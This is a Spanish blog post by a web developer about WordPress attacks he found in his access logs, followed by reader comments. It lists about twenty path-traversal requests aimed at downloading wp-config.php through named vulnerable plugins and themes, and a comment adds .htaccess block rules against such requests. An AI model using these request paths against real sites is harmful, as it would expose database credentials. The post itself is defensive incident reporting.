Jose J. Fernández Programador. Desarrollador web y SEO en León

Ataque a WordPress: intentos de descarga de wp-config.php

Jose J. Fernández

WordPress

Desde que administro mi propio servidor, siento habitualmente el placer de presenciar constantes ataques contra el mismo. Ataques de fuerza bruta, RFI y otros ataques sencillos que recibo prácticamente a diario.

Como utilizo WordPress, la mayoría de los ataques saben dónde pegar, siendo wp-login.php el fichero más codiciado de todo el servidor con mucha diferencia. Sufre constantemente ataques de fuerza bruta que, en mi caso, no consiguen nada por la fortaleza de las contraseñas, pero tienen un importante efecto secundario: el exagerado consumo de recursos que producen, principalmente tiempo de procesador.

Para solucionarlo, pronto implementaré Fail2ban, que revisará los registros de acceso y bloqueará las direcciones IP que intenten acceder demasiado a wp-login.php, pero eso será material para otro post.

En el artículo de hoy voy a comentar un ataque distinto. Se trata de utilizar plugins vulnerables para descargar tu fichero wp-config.php, que es donde está el nombre de la base de datos del blog, así como el usuario y la contraseña de acceso a la misma. Mal asunto si consiguen descargarse el fichero, como podrás suponer.

¿Cómo se que intentaron descargarlo de mi web? Al revisar el log de acceso (algo que hago de cuando en cuando manualmente), me encontré con estas peticiones:

"GET /wp-content/plugins/pica-photo-gallery/picadownload.php?imgname=../../../wp-config.php HTTP/1.1" 404
"GET /wp-content/plugins/tinymce-thumbnail-gallery/php/download-image.php?href=../../../../wp-config.php HTTP/1.1" 404
"GET /wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php HTTP/1.1" 404
"GET /wp-content/themes/ypo-theme/download.php?download=../../../../wp-config.php HTTP/1.1" 404
"GET /wp-content/plugins/simple-download-button-shortcode/simple-download-button_dl.php?file=../../../../wp-config.php HTTP/1.1" 404
"GET /wp-content/themes/yakimabait/download.php?file=./wp-config.php HTTP/1.1" 404
"GET /wp-content/themes/jarida/download.php?uri=../../../wp-config.php HTTP/1.1" 404
"GET /wp-content/plugins/plugin-newsletter/preview.php?data=../../../../wp-config.php HTTP/1.1" 404
"GET /wp-content/plugins/filedownload/download.php/?path=../../../wp-config.php HTTP/1.1" 404
"GET /wp-content/themes/urbancity/lib/scripts/download.php?file=../../../../../wp-config.php HTTP/1.1" 404
"GET /wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download HTTP/1.1" 404
"GET /wp-content/themes/Newspapertimes_1/download.php?filename=../../../../wp-config.php HTTP/1.1" 404
"GET /wp-content/themes/parallelus-salutation/framework/utilities/download/getfile.php?file=../../../../../../wp-config.php HTTP/1.1" 404
"GET /wp-content/force-download.php?file=../wp-config.php HTTP/1.1" 404
"GET /wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php HTTP/1.1" 404
"GET /wp-content/themes/corporate_works/downloader.php?file_download=../../../wp-config.php HTTP/1.1" 404
"GET /wp-content/themes/tess/download.php?file=../../../wp-config.php HTTP/1.1" 404
"GET /wp-admin/admin-ajax.php?action=getfile&/../../wp-config.php HTTP/1.1" 200
"GET /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1" 200
"GET /wp-admin/admin-ajax.php?action=kbslider_show_image&img=../wp-config.php HTTP/1.1" 200

¡La leche! Unos 15 plugins y themes (resaltados en azul) así a ojo de los cuales los atacantes sabían que disponían de un php para descargar otros ficheros y que intentaron utilizar para bajarse mi wp-config.php. Afortunadamente, fíjate en que todos devolvieron error 404… ¡Excepto los tres últimos! Canguelo máximo.

Revisé manualmente lo que obtenía si visitaba esas URLs, y era un 0. Salía un 0 por pantalla, así que estaba a salvo. No pudieron descargarlo. Con una opción del servidor configurada con un valor distinto, me hubieran podido descargar el fichero. Me alegro de haber revisado las implicaciones de seguridad de aquella opción en su momento.

Si utilizas alguno de los themes o plugins que aparecen en el listado, es muy probable que ya hayas sido atacado. Verifica que no seas vulnerable, y modifica tu contraseña de la base de datos. Aunque si permitías que se conectaran a ésta remotamente, tienes un problema grave.

Damián 2015-04-21 - 21:12

Me ha parecido interesante el artículo, a la espera del post sobre Fail2ban.

Miryam 2015-06-15 - 15:57

Hola! Cómo puedo revisar el log de acceso de mi WP?

Gracias!

Jose J. Fernández 2015-06-15 - 21:00

Myriam, WordPress por defecto no guarda un log, pero sí lo hace el servidor web (Apache, Nginx). Normalmente, en un fichero llamado access.log dentro de /var/log, en Linux. También puede que tengas un fichero de log individual para cada dominio, o que esté dentro de tu directorio de FTP si estás en un alojamiento web compartido.

Santos Guerra 2015-07-22 - 07:40

Yo utilizo esta configuración en mi .htaccess y no me preocupo mas por ese y otros problemas.

# BEGIN WordPress

RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_METHOD} POST
RewriteCond %{HTTP_REFERER} !^http://(.*)?ericnagel\.com [NC]
RewriteCond %{REQUEST_URI} ^/(.*)?wp-login\.php(.*)$ [OR]
RewriteCond %{REQUEST_URI} ^/(.*)?wp-admin$
RewriteRule ^(.*)$ – [R=403,L]
RewriteCond %{REQUEST_URI} ^/(.*)?xmlrpc\.php(.*)$
RewriteRule .* – [F]
RewriteCond %{QUERY_STRING} environ [NC]
RewriteRule .* – [F]
RewriteCond %{REQUEST_URI} ^/wp\-content\/uploads\/(.)*\.php
RewriteRule .* – [F]
RewriteCond %{QUERY_STRING} wp-config.php
RewriteRule .* – [F]
RewriteRule ^index\.php$ – [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

# END WordPress

No se mostrará públicamente.

Un enlace a tu blog o página web.